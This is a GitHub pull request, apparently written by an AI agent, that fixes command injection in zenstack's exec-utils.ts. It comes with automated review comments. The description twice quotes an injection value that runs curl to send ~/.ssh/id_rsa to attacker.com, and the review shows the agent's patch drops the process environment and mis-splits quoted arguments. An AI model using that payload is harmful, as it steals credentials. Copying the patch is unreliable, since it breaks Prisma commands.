Security: Command injection via unsanitized string concatenation in execPackage and execPrisma#2739
Conversation
…ation in execpackage and execprisma `execPackage` and `execPrisma` build shell commands by concatenating strings and pass them to `child_process.execSync` (shell mode). If any caller passes user-influenced input (e.g., package names or prisma CLI args derived from CLI arguments, config files, or schema names), an attacker can inject arbitrary shell commands. For example, a crafted package name like `"legit; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)"` would execute the injected command. This is a library with downstream consumers, so the blast radius extends to all consumers who don't sanitize before calling these. The `execPrisma` path is particularly concerning since it's called with `args` that may originate from user-provided Prisma schema or CLI flags. Affected files: exec-utils.ts Signed-off-by: kumburovicbranko682-boop <295886834+kumburovicbranko682-boop@users.noreply.github.com>
📝 WalkthroughWalkthroughReplaces Command Injection Fix
Estimated code review effort🎯 2 (Simple) | ⏱️ ~5 minutes Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@packages/cli/src/utils/exec-utils.ts`:
- Line 66: `execPrisma` is incorrectly tokenizing the command string with
`args.split(' ')`, which preserves literal quotes and breaks schema paths
containing spaces. Update `execPrisma` in `exec-utils.ts` to build and pass a
real argument array to `execFileSync` (or use quote-aware parsing like
`execPackage`) so callers such as `db push` and `migrate dev` receive unquoted
values for `--schema` and `--name`.
- Around line 30-31: The merged env in the exec utility is being overwritten by
the trailing options spread, so the process-level variables are lost whenever a
caller passes env. Update the options assembly in exec-utils’ exec helper so the
final object preserves the explicit env merge from options.env with process.env
instead of letting ...options replace it; use the execPrisma call path as a
sanity check that _options.env still inherits PATH and other base variables.
- Around line 69-71: The merged env in exec-utils is being overwritten by the
trailing _options spread, so the spawned node process loses process.env values
like PATH and DATABASE_URL. Update the options assembly in exec-utils so the
final env always preserves the merged environment from _options.env plus
process.env, and make sure the spread order in the function does not replace
that computed env value. Use the exec-utils option-building logic as the fix
point and keep PRISMA_HIDE_UPDATE_MESSAGE included without discarding inherited
variables.
- Around line 26-32: The command execution in exec-utils currently splits the
cmd string on spaces and rebuilds env before spreading options, which breaks
quoted arguments and can overwrite the merged environment. Update the
execFileSync path in the exec-utils helper to accept and forward arguments as an
array end-to-end instead of using cmd.split(' '), and ensure the env passed to
execFileSync is the final merged value after all spreads so process.env is
preserved. Use the existing execFileSync call site and its options handling to
make the change without altering other behavior.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 6185f17e-647a-4786-8448-0efeed4cf4a7
📒 Files selected for processing (1)
packages/cli/src/utils/exec-utils.ts
| const [executable, ...args] = cmd.split(' '); | ||
| execFileSync(packageManager, [executable, ...args], { | ||
| encoding: 'utf-8', | ||
| stdio: options?.stdio ?? 'inherit', | ||
| env: options?.env ? { ...process.env, ...options.env } : undefined, | ||
| ...options, | ||
| }); |
There was a problem hiding this comment.
🎯 Functional Correctness | 🔴 Critical | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
rg -nP -C3 '\bexec(Package|Prisma)\s*\(' packages/cli/src
rg -nP -C2 '--schema\s+"' packages/cli/srcRepository: zenstackhq/zenstack
Length of output: 4940
🏁 Script executed:
#!/bin/bash
set -euo pipefail
sed -n '1,140p' packages/cli/src/utils/exec-utils.ts | cat -n
printf '\n---\n'
sed -n '70,160p' packages/cli/src/actions/migrate.ts | cat -n
printf '\n---\n'
sed -n '60,120p' packages/cli/src/actions/db.ts | cat -nRepository: zenstackhq/zenstack
Length of output: 8177
🏁 Script executed:
node - <<'JS'
const { spawnSync } = require('child_process');
for (const env of [
{},
{ FOO: 'bar' },
{ PATH: process.env.PATH },
]) {
const r = spawnSync('node', ['-e', 'process.stdout.write("ok")'], {
env,
encoding: 'utf8',
});
console.log('env keys:', Object.keys(env));
console.log('status:', r.status);
console.log('error:', r.error && (r.error.code || r.error.message));
console.log('stdout:', JSON.stringify(r.stdout));
console.log('stderr:', JSON.stringify(r.stderr));
console.log('---');
}
JSRepository: zenstackhq/zenstack
Length of output: 400
Preserve argv and merge env after spreads.
cmd.split(' ') breaks quoted/space-containing args like --schema "${prismaSchemaFile}", and the current spread order drops process.env, so node/npx can fail with ENOENT when PATH is lost. Pass arguments as an array end-to-end and keep the merged env as the final env value.
🧰 Tools
🪛 ast-grep (0.44.0)
[warning] Importing child_process exposes a command-execution surface; ensure any command/argument built from input is validated, and prefer execFile/spawn with an argument array over exec.
Context: import { execSync as _exec, execFileSync, type ExecSyncOptions } from 'child_process';
Note: [CWE-78] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
(detect-child-process-typescript)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@packages/cli/src/utils/exec-utils.ts` around lines 26 - 32, The command
execution in exec-utils currently splits the cmd string on spaces and rebuilds
env before spreading options, which breaks quoted arguments and can overwrite
the merged environment. Update the execFileSync path in the exec-utils helper to
accept and forward arguments as an array end-to-end instead of using cmd.split('
'), and ensure the env passed to execFileSync is the final merged value after
all spreads so process.env is preserved. Use the existing execFileSync call site
and its options handling to make the change without altering other behavior.
| env: options?.env ? { ...process.env, ...options.env } : undefined, | ||
| ...options, |
There was a problem hiding this comment.
🩺 Stability & Availability | 🔴 Critical | ⚡ Quick win
Trailing ...options spread overrides the merged env, dropping process.env.
Object keys are applied in order, so ...options (line 31) overwrites the explicit env set on line 30. When a caller supplies options.env (e.g. the execPrisma fallback always passes _options.env), the carefully merged { ...process.env, ...options.env } is replaced by the bare options.env, losing PATH/DATABASE_URL/etc. This defeats the env-merge this PR intends.
🛠️ Proposed fix
- const [executable, ...args] = cmd.split(' ');
- execFileSync(packageManager, [executable, ...args], {
- encoding: 'utf-8',
- stdio: options?.stdio ?? 'inherit',
- env: options?.env ? { ...process.env, ...options.env } : undefined,
- ...options,
- });
+ const args = cmd.split(' ').filter(Boolean);
+ execFileSync(packageManager, args, {
+ encoding: 'utf-8',
+ ...options,
+ stdio: options?.stdio ?? 'inherit',
+ env: options?.env ? { ...process.env, ...options.env } : process.env,
+ });🧰 Tools
🪛 ast-grep (0.44.0)
[warning] Importing child_process exposes a command-execution surface; ensure any command/argument built from input is validated, and prefer execFile/spawn with an argument array over exec.
Context: import { execSync as _exec, execFileSync, type ExecSyncOptions } from 'child_process';
Note: [CWE-78] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
(detect-child-process-typescript)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@packages/cli/src/utils/exec-utils.ts` around lines 30 - 31, The merged env in
the exec utility is being overwritten by the trailing options spread, so the
process-level variables are lost whenever a caller passes env. Update the
options assembly in exec-utils’ exec helper so the final object preserves the
explicit env merge from options.env with process.env instead of letting
...options replace it; use the execPrisma call path as a sanity check that
_options.env still inherits PATH and other base variables.
| } | ||
|
|
||
| execSync(`node "${prismaPath}" ${args}`, _options); | ||
| execFileSync('node', [prismaPath, ...args.split(' ')], { |
There was a problem hiding this comment.
🎯 Functional Correctness | 🔴 Critical | 🏗️ Heavy lift
Same quote/space-splitting hazard as execPackage.
args.split(' ') keeps literal quotes and splits paths with spaces. Since every execPrisma caller builds --schema "${prismaSchemaFile}" (and optionally --name "${options.name}"), the node prisma/build/index.js invocation receives a schema path wrapped in literal " characters, breaking db push/migrate dev. Fix at the source by passing an argument array or quote-aware tokenization (see execPackage comment).
🧰 Tools
🪛 ast-grep (0.44.0)
[warning] Importing child_process exposes a command-execution surface; ensure any command/argument built from input is validated, and prefer execFile/spawn with an argument array over exec.
Context: import { execSync as _exec, execFileSync, type ExecSyncOptions } from 'child_process';
Note: [CWE-78] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
(detect-child-process-typescript)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@packages/cli/src/utils/exec-utils.ts` at line 66, `execPrisma` is incorrectly
tokenizing the command string with `args.split(' ')`, which preserves literal
quotes and breaks schema paths containing spaces. Update `execPrisma` in
`exec-utils.ts` to build and pass a real argument array to `execFileSync` (or
use quote-aware parsing like `execPackage`) so callers such as `db push` and
`migrate dev` receive unquoted values for `--schema` and `--name`.
| env: _options?.env ? { ...process.env, ..._options.env } : undefined, | ||
| ..._options, | ||
| }); |
There was a problem hiding this comment.
🩺 Stability & Availability | 🔴 Critical | ⚡ Quick win
Trailing ..._options spread overrides the merged env; process.env is always lost here.
_options.env is always populated (PRISMA_HIDE_UPDATE_MESSAGE), so the line 71 spread overwrites the line 69 merge, leaving the node subprocess with only { PRISMA_HIDE_UPDATE_MESSAGE: '1' } — no PATH, no DATABASE_URL. Prisma will fail to resolve its datasource/binaries.
🛠️ Proposed fix
- execFileSync('node', [prismaPath, ...args.split(' ')], {
- encoding: 'utf-8',
- stdio: _options?.stdio ?? 'inherit',
- env: _options?.env ? { ...process.env, ..._options.env } : undefined,
- ..._options,
- });
+ execFileSync('node', [prismaPath, ...args.split(' ').filter(Boolean)], {
+ encoding: 'utf-8',
+ ..._options,
+ stdio: _options?.stdio ?? 'inherit',
+ env: { ...process.env, ..._options.env },
+ });(Note: the .filter(Boolean)/split here is only a stopgap; the quote-handling issue flagged on Line 66 still needs a real fix.)
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| env: _options?.env ? { ...process.env, ..._options.env } : undefined, | |
| ..._options, | |
| }); | |
| execFileSync('node', [prismaPath, ...args.split(' ').filter(Boolean)], { | |
| encoding: 'utf-8', | |
| ..._options, | |
| stdio: _options?.stdio ?? 'inherit', | |
| env: { ...process.env, ..._options.env }, | |
| }); |
🧰 Tools
🪛 ast-grep (0.44.0)
[warning] Importing child_process exposes a command-execution surface; ensure any command/argument built from input is validated, and prefer execFile/spawn with an argument array over exec.
Context: import { execSync as _exec, execFileSync, type ExecSyncOptions } from 'child_process';
Note: [CWE-78] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
(detect-child-process-typescript)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@packages/cli/src/utils/exec-utils.ts` around lines 69 - 71, The merged env in
exec-utils is being overwritten by the trailing _options spread, so the spawned
node process loses process.env values like PATH and DATABASE_URL. Update the
options assembly in exec-utils so the final env always preserves the merged
environment from _options.env plus process.env, and make sure the spread order
in the function does not replace that computed env value. Use the exec-utils
option-building logic as the fix point and keep PRISMA_HIDE_UPDATE_MESSAGE
included without discarding inherited variables.
1 participant
🔒 Security Fix
Problem
execPackageandexecPrismabuild shell commands by concatenating strings and pass them tochild_process.execSync(shell mode). If any caller passes user-influenced input (e.g., package names or prisma CLI args derived from CLI arguments, config files, or schema names), an attacker can inject arbitrary shell commands. For example, a crafted package name like"legit; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)"would execute the injected command. This is a library with downstream consumers, so the blast radius extends to all consumers who don't sanitize before calling these. TheexecPrismapath is particularly concerning since it's called withargsthat may originate from user-provided Prisma schema or CLI flags.Severity:
highFile:
packages/cli/src/utils/exec-utils.tsSolution
Use
execFileSync(non-shell) instead ofexecSyncfor commands where arguments are separate from the executable. ForexecPackage, split the command and args:Changes
packages/cli/src/utils/exec-utils.ts(modified)Testing
🤖 About this PR
This pull request was generated by ContribAI, an AI agent
that helps improve open source projects. The change was:
If you have questions or feedback about this PR, please comment below.
We appreciate your time reviewing this contribution!
Closes #2738
Summary by CodeRabbit